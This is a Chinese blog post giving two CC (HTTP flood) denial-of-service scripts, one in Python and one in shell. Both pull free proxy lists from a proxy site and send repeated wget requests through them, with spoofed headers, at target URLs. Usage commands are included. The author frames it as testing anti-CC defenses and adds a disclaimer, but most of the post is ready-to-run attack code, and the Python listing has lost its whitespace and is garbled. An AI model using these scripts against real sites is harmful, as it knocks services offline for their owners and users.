Linux CC攻击脚本

CC(ChallengeCollapsar)主要是用来攻击页面的。大家都有这样的经历,就是在访问论坛时,如果这个论坛比较大,访问的人比较多,打开页面的速度会比较慢,访问的人越多,论坛的页面越多,数据库就越大,被访问的频率也越高,占用的系统资源也就相当可观。

最近在做一些防CC的措施,想验证效果就的有类似CC的攻击,所以写了个Python脚本来模拟CC攻击,其原理很简单,就是去网络上拉取一下渣渣代理,然后通过代理去访问服务器,,成本低的吓人,但影响却不小…代码如下(该脚本只能用于交流学习,一切因该脚本产生的不良后果,与我无关):

#!/usr/bin/python#——————————————————————————-#Name:CC.py##Author:LiuSha##Created:1/07/2014#Email:itchenyi@gmail.com#——————————————————————————-importurllib2importreimportosimportthreadingimporttimeimportrandomclassRunCC(threading.Thread):def__init__(self,proxy,url):threading.Thread.__init__(self)self.thread_proxy=proxyself.thread_url=urlself.thread_stop=Falsedefrun(self):whilenotself.thread_stop:os.system(“””wget–ignore-length–cache=off–no-http-keep-alive-t1–referer=”http://www.10086.com”-U’Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.0)’-e”http_proxy=http://%s/””%s”&”””%(self.thread_proxy,self.thread_url))defstop(self):self.thread_stop=Truedefget_stock_html(URL):opener=urllib2.build_opener(urllib2.HTTPRedirectHandler(),urllib2.HTTPHandler(debuglevel=0),)opener.addheaders=[(‘User-agent’,’Mozilla/4.0(compatible;MSIE7.0;”WindowsNT5.1;.NETCLR2.0.50727;”.NETCLR3.0.4506.2152;.NETCLR3.5.30729)’)]url=”http://proxy.com.ru/%s”%URLresponse=opener.open(url)return”.join(response.readlines())defGetting_Url():globalCC_Urlfile=open(‘url’,’r’)CC_Url=file.readlines()file.close()defGetting_list():globalIP_PortIP_Port=[]forhtml_listinre.findall(‘list_\d+.html’,get_stock_html(“list_1.html”)):print”getting%s’sIP:PORT”%html_listIP_Port+=eval(re.sub(”,’:’,”%s”%re.findall(‘\d+.\d+.\d+.\d+\d+’,get_stock_html(html_list))))defmain():globalCC_DictCC_Dict={}fori_nameinrange(len(IP_Port)):CC_Dict[‘Thread%s’%i_name]=”RunCC(‘%s’,r”’%s”’)”%(IP_Port[i_name],random.choice(CC_Url))fork,vinCC_Dict.items():k=eval(v)k.start()time.sleep(0.6)k.stop()if__name__==’__main__’:Getting_Url()Getting_list()main()

使用方法:

###url文件一行一个url不嫌多###[root@test-CCCC]#caturlhttp://www.ipython.me/###直接运行###[root@test-CCCC]#pythoncc.py

帅气的大飞哥也用shell 粗暴的写了一个出来,代码如下:

#!/bin/sh#Email:zhengxiaofeiccc@139.comurl=$1page_number=`curl|grep-o”list_.*html”|awk-F”‘”‘{print$NF}’|tail-1|grep-o\[0-9\]*`foriin`seq1$page_number`docurl$i.html|egrep-o”[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.*[0-9]{2,4}”|awk-F”<|>”‘{print$1,$NF}’>>ip.txtdonewhilereadipportdowget-b–cache=off–ignore-length–referer=”http://www.10086.com”-U’Mozilla/4.0(compatible;MSIE7.0;WindowsNT6.0)’\-Yon-e”http_proxy=http://$ip:$port/””$url”done<ip.txt

本文出自 “IT辰逸” 博客,请务必保留此出处

人情似纸张张薄,世事如棋局局新。

Linux CC攻击脚本

相关文章:

你感兴趣的文章:

标签云: